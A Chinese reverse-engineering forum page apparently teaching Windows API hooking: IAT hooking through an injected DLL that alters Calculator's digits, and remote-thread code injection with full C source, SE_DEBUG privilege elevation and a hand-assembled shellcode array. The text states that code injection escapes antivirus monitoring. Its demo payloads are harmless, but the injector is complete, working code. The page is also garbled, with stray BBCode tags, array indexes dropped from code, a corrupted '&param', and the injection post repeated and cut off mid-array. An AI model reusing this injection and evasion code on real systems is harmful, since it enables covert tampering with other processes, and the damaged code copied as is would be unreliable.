if( OnExceptionDebugEvent(&de) )
continue;
}
// 终止调试进程
else if( EXIT_PROCESS_DEBUG_EVENT == de.dwDebugEventCode )
{
//
break;
}
// 再次运行被调试者
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}
int main(int argc, char* argv)
{
DWORD dwPID;
if( argc != 2 )
{
printf("\nUSAGE : hookdbg.exe <pid>\n");
return 1;
}
// Attach Process
dwPID = atoi(argv[1]);
if( !DebugActiveProcess(dwPID) )
{
printf("DebugActiveProcess(%d) failed!!!\n"
"Error Code = %d\n", dwPID, GetLastError());
return 1;
}
// 调试器循环
DebugLoop();
return 0;
}
注入法
之
通过 DLL 注入修改 IAT 来进行 API 钩取
这种方法的原理非常简单,在目标进程中注入我们的 DLL。然后把我们要钩取的 API 在 IAT 中的地址替换为我们自定义函数的地址即可。这样的话,目标进程每次调用目标 API 时都会调用先我们的函数,然后再让我们的函数调用目标 API。
难点1:选定目标 API。
在操作系统中,某项功能最终都是由某个或某些 API 提供的。
比如,创建文件由 Kernel32!CreateFile() API 负责,创建注册表新键由 advapi32!CreateKeyEx() API 负责,网络连接由 ws_232!connect() API 负责。
对于初学者来说,往往不知道哪个 API 提供了要钩取的功能。所以要学会使用检索功能。若搜索不到,就可以根据已有经验推测,在验证确认。
我们的目的是: 让计算器显示的阿拉伯数字更改为中文数字。
所以我们的目标 API 是:SetWindowTextW()
BOOL SetWindowTextA(
HWND hWnd,
LPCSTR lpString
);
这个 API 有两个参数。第一个参数是窗口句柄,第二个参数是字符串指针。我们只需要将字符串中的阿拉伯数字更改为中文数字就可以了。
到此为止,我们的目的总共有 3 个。
- 将 DLL 注入进目标进程。
- 替换目标进程 IAT 中的 API 地址。
- 将阿拉伯数字跟改为中文数字。
0x1:注入 DLL
将 DLL 注入目标进程非常简单,使用 CreateRemoteThread 函数即可。
0x2: 如何替换 API 地址?
- 找到目标 API 在 IAT 中的存储地址。
- 得到我们的函数的地址。
- 进行替换。
0x2.1:如何找到目标 API 在 IAT 中的存储地址
- 找到内存中导入表地址。
- 遍历 IID,找到目标 DLL 对应的 IID。
- 遍历目标 IID 的 IAT,对比找到存储目标 API 的项,将其值替换我们的地址。
具体实现:
//参数分别是目标DLL名称,目标API的地址
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
//hMod是目标进程的 ImageBase
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
//pAddr用来得到NT头的地址
pAddr += *((DWORD*)&pAddr[0x3C]);
//dwRVA得到导入表的RVA
dwRVA = *((DWORD*)&pAddr[0x90]);
//pImportDesc是首个IID
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
//通过循环遍历IID寻找目标DLL
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是导入DLL的名称
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
//循环遍历存储目标API的项
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD64)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
0x3:将阿拉伯数字更换为中文数字
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString[i] && lpString[i] <= L'9' )
{
temp[0] = lpString[i];
nIndex = _wtoi(temp);
lpString[i] = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}[/i][/i][/i][/i]
[i][i][i] DLL 全部的代码:[/i][/i][/i]
[i][i][i][i]// include
#include "stdio.h"
#include "wchar.h"
#include "windows.h"
// typedef
typedef BOOL (WINAPI *PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString);
// globals
FARPROC g_pOrgFunc = NULL;
BOOL WINAPI MySetWindowTextW(HWND hWnd, LPWSTR lpString)
{
wchar_t* pNum = L"零一二三四五六七八九";
wchar_t temp[2] = {0,};
int i = 0, nLen = 0, nIndex = 0;
nLen = wcslen(lpString);
for(i = 0; i < nLen; i++)
{
if( L'0' <= lpString && lpString <= L'9' )
{
temp[0] = lpString;
nIndex = _wtoi(temp);
lpString = pNum[nIndex];
}
}
return ((PFSETWINDOWTEXTW)g_pOrgFunc)(hWnd, lpString);
}
// hook_iat
BOOL hook_iat(LPCSTR szDllName, PROC pfnOrg, PROC pfnNew)
{
HMODULE hMod;
LPCSTR szLibName;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PIMAGE_THUNK_DATA pThunk;
DWORD dwOldProtect, dwRVA;
PBYTE pAddr;
hMod = GetModuleHandle(NULL);
pAddr = (PBYTE)hMod;
pAddr += *((DWORD*)&pAddr[0x3C]);
dwRVA = *((DWORD*)&pAddr[0x90]);
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hMod+dwRVA);
for( ; pImportDesc->Name; pImportDesc++ )
{
//szLibName 是IID的名字
szLibName = (LPCSTR)((DWORD)hMod + pImportDesc->Name);
if( !_stricmp(szLibName, szDllName) )
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hMod +
pImportDesc->FirstThunk);
for( ; pThunk->u1.Function; pThunk++ )
{
if( pThunk->u1.Function == (DWORD64)pfnOrg )
{
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
PAGE_EXECUTE_READWRITE,
&dwOldProtect);
pThunk->u1.Function = (DWORD64)pfnNew;
VirtualProtect((LPVOID)&pThunk->u1.Function,
4,
dwOldProtect,
&dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
g_pOrgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"),
"SetWindowTextW");
hook_iat("user32.dll", g_pOrgFunc, (PROC)MySetWindowTextW);
break;
case DLL_PROCESS_DETACH :
hook_iat("user32.dll", (PROC)MySetWindowTextW, g_pOrgFunc);
break;
}
return TRUE;
}
[/i][/i][/i][/i]
远程线程之代码注入
REVERSE-逆向 • snow 发表了文章 • 3 个评论 • 180 次浏览 • 2019-08-05 09:00
远程线程代码注入,和远程线程 DLL 注入相比。
相同点:原理是一样的,都是使用 CreateRemoteThread 函数在目标进程中创建一个线程。
不同点:DLL 注入是让该线程调用 LoadLibrary API 加载我们的 DLL,然后在 DllMain 函数里执行我们想要执行的操作(每当 DLL 被静态链接,或动态链接时调用 LoadLibrary、 FreeLibrary 都会自动调用 DllMain 函数)。远程线程代码注入则是直接让该线程调用我们的函数直接执行。
和 DLL 注入相比。
优势:代码注入更加的隐蔽。因为很多杀软或监控软件都会实时的监控着每个进程,当一个进程加载了一个 DLL,动静是很大的,很容易被发觉。代码注入只是将可执行代码拷贝到目标进程后台运行,我们的代码已经和目标进程融为一体,其他人无法察觉。
劣势:代码注入相比 DLL 注入太过繁琐。因为我们是要把代码拷贝进另一个进程中运行,所以我们要把该函数使用的所有资源都写入到目标进程中去。
远程代码注入的步骤有以下几步:
获取目标进程句柄在目标进程中申请内存空间,将数据写入在目标进程中申请内存空间,将代码写入调用 CreateRemoteThread 函数,使之调用我们的代码。
简单的流程图
写入数据:
这一步骤的难点在于确定数据有哪些。
我们首先要确定好注入的代码怎么写,才能确定代码需要的数据有哪些。
比如我们想要在目标进程中使用 MessageBox 函数弹一个窗口,那么我们可以像下边这样写:hMod = LoadLibraryA("user32.dll");
pFunc = GetProcAddress(hMod, "MessageBoxA");
pFunc(NULL, "White Album2", "Touma Kazusa", MB_OK);
这样一来我们就可以确定我们需要的数据共有 6 项,分别是 2 个函数以及 4 个字符串。我们可以自定义一个数据结构,把我们的要写入的数据全部囊括其中,方便传递数据:typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;
然后给数据赋值:THREAD_PARAM param = { 0, };
hMod = GetModuleHandleA("Kernel32.dll");
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
需要注意的是,大多数进程都会加载 Kernel32.dll,所以直接把LoadLibraryA 和GetProcAddress 的地址传递给代码是可以的,但是有些系统进程时默认是不会加载 Kernel32.dll 的,如 smss.exe ,所以事前务必确认。
写入代码:
代码上面已经确定,由于我们只能使用我们的参数,所以真正的代码如下:DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
为代码申请内存空间:dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
由于该内存空间的代码是要执行的,所以使用 VirtualAllocEx API 申请缓冲区时最后一个参数要设为 PAGE_EXECUTE_READWRITE
将代码写入内存空间:if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
在 Debug 编译模式下,编译器会为进程生成一张 ILT,此时函数的名称并不是函数的地址,对函数的定位就会变的困难,所以在编译时选择 Release 模式进行编译。
完整代码如下:#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;
typedef HMODULE(WINAPI* PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
);
typedef FARPROC(WINAPI* PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
);
//定义了一个新类型
typedef int (WINAPI* PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
//函数用于提升权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES NewState;
//获得访问令牌,返回到参数 hToken。
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
//获得 LUID,返回到参数 luid。
if (!LookupPrivilegeValue(NULL,
lpszPrivilege,
&luid))
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luid;
if (bEnablePrivilege)
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
NewState.Privileges[0].Attributes = 0;
//调整特权信息
if (!AdjustTokenPrivileges(hToken,
FALSE,
&NewState,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
//要注入的代码
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
//函数用于注入代码和数据
BOOL CodeInject(DWORD dwPID)
{
HMODULE hMod = NULL; //目标DLL的句柄
HANDLE hProcess = NULL; //目标进程的句柄
THREAD_PARAM param = { 0, }; //要注入的数据
DWORD dwSize = 0; //申请空间大小
LPVOID pRemoteBuf[2] = { 0, }; //指向申请的缓存区的指针,0是指向数据缓存区,1指向代码缓存区
HANDLE hThread = NULL; //远程线程的句柄
hMod = GetModuleHandleA("Kernel32.dll");
//注入代码需要使用到的数据
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
//获取进程句柄
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwPID)) )
{
printf("OpneProcess API 调用失败");
return FALSE;
}
//为数据申请空间
dwSize = sizeof(THREAD_PARAM);
if ( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_READWRITE)) )
{
printf("申请数据空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入数据
if (!WriteProcessMemory(hProcess,
pRemoteBuf[0],
(LPVOID)¶m,
dwSize,
NULL))
{
printf("写入数据失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//为代码申请空间
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入代码
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//调用远程线程
if( !(hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0],
0,
NULL)) )
{
printf("创建远程线程失败: err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char *argv)
{
DWORD dwPID = 0;
if (argc != 2)
{
printf("\n USAGE : %s <proc name>\n", argv[0]);
return 1;
}
//提升自身权限
if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
{
return 1;
}
dwPID = (DWORD)atol(argv[1]);
CodeInject(dwPID);
return 0;
}
汇编语言比 C 语言更加的自由、灵活,可以使用汇编语言编写注入代码。且汇编语言编写的注入代码本身同时包含着代码所需要的字符串数据,所以在 _THREAD_PARAM 结构体中只需要包含函数指针就可以了。具体的注入代码 如下:
BYTE g_InjectionCode =
{
0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,
0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,
0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,
0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,
0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,
0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,
0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,
0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,
0x6F, 0x72, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x00, 0x6A, 0x00,
0xFF, 0xD0, 0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3
};
004010ED 55 PUSH EBP
004010EE 8BEC MOV EBP,ESP
004010F0 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] ; ESI = pParam
0[b]04010F3 68 6C6C0000 PUSH 6C6C
004010F8 68 33322E64 PUSH 642E3233
004010FD 68 75736572 PUSH 72657375[/b]
00401102 54 PUSH ESP ; - "user32.dll"
00401103 FF16 CALL DWORD PTR DS:[ESI] ; LoadLibraryA("user32.dll")
00401105 68 6F784100 PUSH 41786F
0040110A 68 61676542 PUSH 42656761
0040110F 68 4D657373 PUSH 7373654D
00401114 54 PUSH ESP ; - "MessageBoxA"
00401115 50 PUSH EAX ; - hMod
00401116 FF56 04 CALL DWORD PTR DS:[ESI+4] ; GetProcAddress(hMod, "MessageBoxA")
00401119 6A 00 PUSH 0 ; - MB_OK (0)
[b]0040111B E8 0C000000 CALL 0040112C
[/b]00401120 <ASCII> ; - "ReverseCore", 0
[b]0040112C E8 14000000 CALL 00401145[/b]
00401131 <ASCII> ; - "www.reversecore.com", 0
00401145 6A 00 PUSH 0 ; - hWnd (0)
00401147 FFD0 CALL EAX ; MessageBoxA(0, "www.reversecore.com", "ReverseCore", 0)
00401149 33C0 XOR EAX,EAX
0040114B 8BE5 MOV ESP,EBP
0040114D 5D POP EBP
0040114E C3 RETN
需要注意的是,在 32 位的操作系统中,PUSH 指令一次只能将 4 字节的数据压入栈。
所以在上例的 004010F3 地址处到 004010FD 处的三句 PUSH 指令都是为了将函数 LoadLibraryA 的参数:字符串“user32.dll”压入栈中。但这样也太过麻烦了。我们可以利用 call 指令的特性,从而一次性的把超过 4 字节的字符串压入栈中。
我们都知道 call 指令是先把下一条指令的地址压入栈中,然后 JMP(跳转) 到相应地址。由于我们要跳转的地址并不是一个真正的函数,所以也不会有 RETN 返回指令。所以在这里 call 指令就只是将我们的字符串压入栈中,然后转到下一条代码指令。实例 0040111B 和 0040112C 处的 call 指令都是为了将字符串压入栈中。这也是 call 指令的一个很有意思的用法。
查看全部
远程线程代码注入,和远程线程 DLL 注入相比。
相同点:原理是一样的,都是使用 CreateRemoteThread 函数在目标进程中创建一个线程。
不同点:DLL 注入是让该线程调用 LoadLibrary API 加载我们的 DLL,然后在 DllMain 函数里执行我们想要执行的操作(每当 DLL 被静态链接,或动态链接时调用 LoadLibrary、 FreeLibrary 都会自动调用 DllMain 函数)。远程线程代码注入则是直接让该线程调用我们的函数直接执行。
和 DLL 注入相比。
优势:代码注入更加的隐蔽。因为很多杀软或监控软件都会实时的监控着每个进程,当一个进程加载了一个 DLL,动静是很大的,很容易被发觉。代码注入只是将可执行代码拷贝到目标进程后台运行,我们的代码已经和目标进程融为一体,其他人无法察觉。
劣势:代码注入相比 DLL 注入太过繁琐。因为我们是要把代码拷贝进另一个进程中运行,所以我们要把该函数使用的所有资源都写入到目标进程中去。
远程代码注入的步骤有以下几步:
- 获取目标进程句柄
- 在目标进程中申请内存空间,将数据写入
- 在目标进程中申请内存空间,将代码写入
- 调用 CreateRemoteThread 函数,使之调用我们的代码。
简单的流程图
写入数据:
这一步骤的难点在于确定数据有哪些。
我们首先要确定好注入的代码怎么写,才能确定代码需要的数据有哪些。
比如我们想要在目标进程中使用 MessageBox 函数弹一个窗口,那么我们可以像下边这样写:
hMod = LoadLibraryA("user32.dll");
pFunc = GetProcAddress(hMod, "MessageBoxA");
pFunc(NULL, "White Album2", "Touma Kazusa", MB_OK); 这样一来我们就可以确定我们需要的数据共有 6 项,分别是 2 个函数以及 4 个字符串。我们可以自定义一个数据结构,把我们的要写入的数据全部囊括其中,方便传递数据:
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;
然后给数据赋值:
THREAD_PARAM param = { 0, };
hMod = GetModuleHandleA("Kernel32.dll");
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2"); 需要注意的是,大多数进程都会加载 Kernel32.dll,所以直接把LoadLibraryA 和GetProcAddress 的地址传递给代码是可以的,但是有些系统进程时默认是不会加载 Kernel32.dll 的,如 smss.exe ,所以事前务必确认。
写入代码:
代码上面已经确定,由于我们只能使用我们的参数,所以真正的代码如下:
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
为代码申请内存空间:
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
由于该内存空间的代码是要执行的,所以使用 VirtualAllocEx API 申请缓冲区时最后一个参数要设为 PAGE_EXECUTE_READWRITE
将代码写入内存空间:
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
在 Debug 编译模式下,编译器会为进程生成一张 ILT,此时函数的名称并不是函数的地址,对函数的定位就会变的困难,所以在编译时选择 Release 模式进行编译。
完整代码如下:
#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef struct _THREAD_PARAM
{
FARPROC pFunc[2]; // LoadLibraryA(), GetProcAddress()
char szBuf[4][128]; // "user32.dll", "MessageBoxA", "www.reversecore.com", "ReverseCore"
} THREAD_PARAM, * PTHREAD_PARAM;
typedef HMODULE(WINAPI* PFLOADLIBRARYA)
(
LPCSTR lpLibFileName
);
typedef FARPROC(WINAPI* PFGETPROCADDRESS)
(
HMODULE hModule,
LPCSTR lpProcName
);
//定义了一个新类型
typedef int (WINAPI* PFMESSAGEBOXA)
(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
//函数用于提升权限
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES NewState;
//获得访问令牌,返回到参数 hToken。
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
//获得 LUID,返回到参数 luid。
if (!LookupPrivilegeValue(NULL,
lpszPrivilege,
&luid))
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luid;
if (bEnablePrivilege)
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
NewState.Privileges[0].Attributes = 0;
//调整特权信息
if (!AdjustTokenPrivileges(hToken,
FALSE,
&NewState,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
//要注入的代码
DWORD WINAPI ThreadProc(LPVOID lParam)
{
PTHREAD_PARAM pParam = (PTHREAD_PARAM)lParam;
HMODULE hMod = NULL;
FARPROC pFunc = NULL;
// LoadLibrary()
hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]); // "user32.dll"
if (!hMod)
return 1;
// GetProcAddress()
pFunc = (FARPROC)((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]); // "MessageBoxA"
if (!pFunc)
return 1;
// MessageBoxA()
((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], MB_OK);
return 0;
}
//函数用于注入代码和数据
BOOL CodeInject(DWORD dwPID)
{
HMODULE hMod = NULL; //目标DLL的句柄
HANDLE hProcess = NULL; //目标进程的句柄
THREAD_PARAM param = { 0, }; //要注入的数据
DWORD dwSize = 0; //申请空间大小
LPVOID pRemoteBuf[2] = { 0, }; //指向申请的缓存区的指针,0是指向数据缓存区,1指向代码缓存区
HANDLE hThread = NULL; //远程线程的句柄
hMod = GetModuleHandleA("Kernel32.dll");
//注入代码需要使用到的数据
param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
strcpy_s(param.szBuf[0], "user32.dll");
strcpy_s(param.szBuf[1], "MessageBoxA");
strcpy_s(param.szBuf[2], "Touma Kazusa");
strcpy_s(param.szBuf[3], "White Album2");
//获取进程句柄
if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwPID)) )
{
printf("OpneProcess API 调用失败");
return FALSE;
}
//为数据申请空间
dwSize = sizeof(THREAD_PARAM);
if ( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_READWRITE)) )
{
printf("申请数据空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入数据
if (!WriteProcessMemory(hProcess,
pRemoteBuf[0],
(LPVOID)¶m,
dwSize,
NULL))
{
printf("写入数据失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//为代码申请空间
dwSize = (DWORD)CodeInject - (DWORD)ThreadProc;
if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)) )
{
printf("申请代码空间失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//写入代码
if( !WriteProcessMemory(hProcess,
pRemoteBuf[1],
(LPVOID)ThreadProc,
dwSize,
NULL) )
{
printf("写入代码失败 : err_code = %d\n", GetLastError());
return FALSE;
}
//调用远程线程
if( !(hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteBuf[1],
pRemoteBuf[0],
0,
NULL)) )
{
printf("创建远程线程失败: err_code = %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char *argv)
{
DWORD dwPID = 0;
if (argc != 2)
{
printf("\n USAGE : %s <proc name>\n", argv[0]);
return 1;
}
//提升自身权限
if (!SetPrivilege(SE_DEBUG_NAME, TRUE))
{
return 1;
}
dwPID = (DWORD)atol(argv[1]);
CodeInject(dwPID);
return 0;
}
汇编语言比 C 语言更加的自由、灵活,可以使用汇编语言编写注入代码。且汇编语言编写的注入代码本身同时包含着代码所需要的字符串数据,所以在 _THREAD_PARAM 结构体中只需要包含函数指针就可以了。具体的注入代码 如下:
BYTE g_InjectionCode =
{
0x55, 0x8B, 0xEC, 0x8B, 0x75, 0x08, 0x68, 0x6C, 0x6C, 0x00,
0x00, 0x68, 0x33, 0x32, 0x2E, 0x64, 0x68, 0x75, 0x73, 0x65,
0x72, 0x54, 0xFF, 0x16, 0x68, 0x6F, 0x78, 0x41, 0x00, 0x68,
0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54,
0x50, 0xFF, 0x56, 0x04, 0x6A, 0x00, 0xE8, 0x0C, 0x00, 0x00,
0x00, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x43, 0x6F,
0x72, 0x65, 0x00, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x77, 0x77,
0x77, 0x2E, 0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x63,
